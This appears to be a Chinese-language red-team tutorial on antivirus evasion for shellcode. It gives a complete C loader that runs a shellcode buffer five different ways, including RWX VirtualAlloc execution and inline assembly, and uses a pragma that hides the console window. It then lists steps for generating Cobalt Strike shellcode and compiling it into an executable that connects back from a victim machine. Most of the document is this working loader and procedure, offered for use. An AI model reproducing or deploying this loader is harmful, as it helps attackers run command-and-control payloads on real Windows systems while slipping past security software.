C/C++ --ShellCode-免杀对抗
介绍:
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。我们经常在CS里面生成指定编程语言的payload,而这个payload里面就是一段十六进制的机器码。
为什么要使用shellcode:
因为shellcode的免杀手段多,损坏的可能性小,能自定义更多选择。
环境:
攻击机:kali--->cs服务端和msf、win11--->cs客户端
受害机:win10--->虚拟机
调用shellcode的五种原生态方式:
文件名:原生态.c
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口
unsigned char buf[] = 你的shellcode
int main()
{
//方式一:指针执行
//((void(*)(void)) & buf)();
//方式二:强制类型转换
//((void(WINAPI*)(void))&buf)();
//方式三:申请动态内存加载
char* Memory;
Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
//方式四:嵌入汇编加载
//__asm {
//lea eax,buf
//call eax
//}
//方式五:汇编花指令
//__asm{
//mov eax, offset shellcode
//_emit 0xFF
//_emit 0xE0
//}
}
一、保证cs/msf生成的shellcode能正常上线
测试:cs上线
1.kali启动服务端cs
2.windows启动客户端cs连接
3.创建监听器Listeners
4.生成shellcode脚本
5.打开Visual Studio工具,将生成的shellcode放到加载脚本中(使用的调用执行方式是:申请动态内存加载),利用C/C++语言编译成exe执行文件。注意:编译时要注意位数